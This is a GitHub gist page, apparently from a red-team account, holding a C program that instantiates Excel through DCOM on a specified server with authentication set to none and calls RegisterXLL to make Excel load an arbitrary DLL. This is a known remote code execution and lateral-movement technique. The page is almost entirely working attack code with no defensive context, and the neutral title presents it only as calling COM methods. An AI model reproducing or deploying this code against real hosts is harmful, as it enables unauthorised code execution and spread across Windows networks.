Skip to content

Instantly share code, notes, and snippets.

@RedTeams
Created July 21, 2019 18:58
Show Gist options
  • Select an option

  • Save RedTeams/823d5f88fcba3bf570422f5cbd727f2d to your computer and use it in GitHub Desktop.

Select an option

Save RedTeams/823d5f88fcba3bf570422f5cbd727f2d to your computer and use it in GitHub Desktop.
Calling DCOM/COM+ methods in C.
#define _CRT_SECURE_NO_WARNINGS
#include <ole2.h> // OLE2 Definitions
#include <Windows.h>
#include <stdio.h>
HRESULT AutoWrap(int autoType, VARIANT *pvResult, IDispatch *pDisp, LPOLESTR ptName, int cArgs...) {
va_list marker;
va_start(marker, cArgs);
if (!pDisp) {
_exit(0);
}
DISPPARAMS dp = { NULL, NULL, 0, 0 };
DISPID dispidNamed = DISPID_PROPERTYPUT;
DISPID dispID;
HRESULT hr;
char buf[200];
char szName[200];
WideCharToMultiByte(CP_ACP, 0, ptName, -1, szName, 256, NULL, NULL);
hr = pDisp->GetIDsOfNames(IID_NULL, &ptName, 1, LOCALE_USER_DEFAULT, &dispID);
if (FAILED(hr)) {
_exit(0);
return hr;
}
VARIANT *pArgs = new VARIANT[cArgs + 1];
for (int i = 0; i < cArgs; i++) {
pArgs[i] = va_arg(marker, VARIANT);
}
dp.cArgs = cArgs;
dp.rgvarg = pArgs;
if (autoType & DISPATCH_PROPERTYPUT) {
dp.cNamedArgs = 1;
dp.rgdispidNamedArgs = &dispidNamed;
}
hr = pDisp->Invoke(dispID, IID_NULL, LOCALE_SYSTEM_DEFAULT, autoType, &dp, pvResult, NULL, NULL);
if (FAILED(hr)) {
_exit(0);
return hr;
}
va_end(marker);
delete[] pArgs;
return hr;
}
int main()
{
COAUTHINFO auth;
auth.dwAuthnSvc = RPC_C_AUTHN_NONE;
auth.dwAuthzSvc = RPC_C_AUTHZ_NONE;
COSERVERINFO serverInfo, *serverPtr;
serverInfo.dwReserved1 = 0;
serverInfo.pwszName = (wchar_t *)L"127.0.0.1";
serverInfo.pAuthInfo = &auth;
serverInfo.dwReserved2 = 0;
serverPtr = &serverInfo;
CoInitialize(NULL);
CLSID clsid;
HRESULT hr = CLSIDFromString(L"{00024500-0000-0000-C000-000000000046}", &clsid);
if (FAILED(hr)) {
return -1;
}
IDispatch *pXlApp;
MULTI_QI mqi;
mqi.pIID = &IID_IDispatch;
mqi.hr = 0;
mqi.pItf = 0;
hr = CoCreateInstanceEx(clsid, NULL, CLSCTX_REMOTE_SERVER, serverPtr, 1, &mqi);
pXlApp = (IDispatch*)mqi.pItf;
if (FAILED(hr)) {
return -2;
}
{
VARIANT params;
params.vt = VT_BSTR;
params.bstrVal = SysAllocString(L"C:\\path\\to\\SimpleDll.dll");
VARIANT result;
VariantInit(&result);
AutoWrap(DISPATCH_PROPERTYGET, &result, pXlApp, SysAllocString(L"RegisterXLL"), 1, params);
}
pXlApp->Release();
CoUninitialize();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment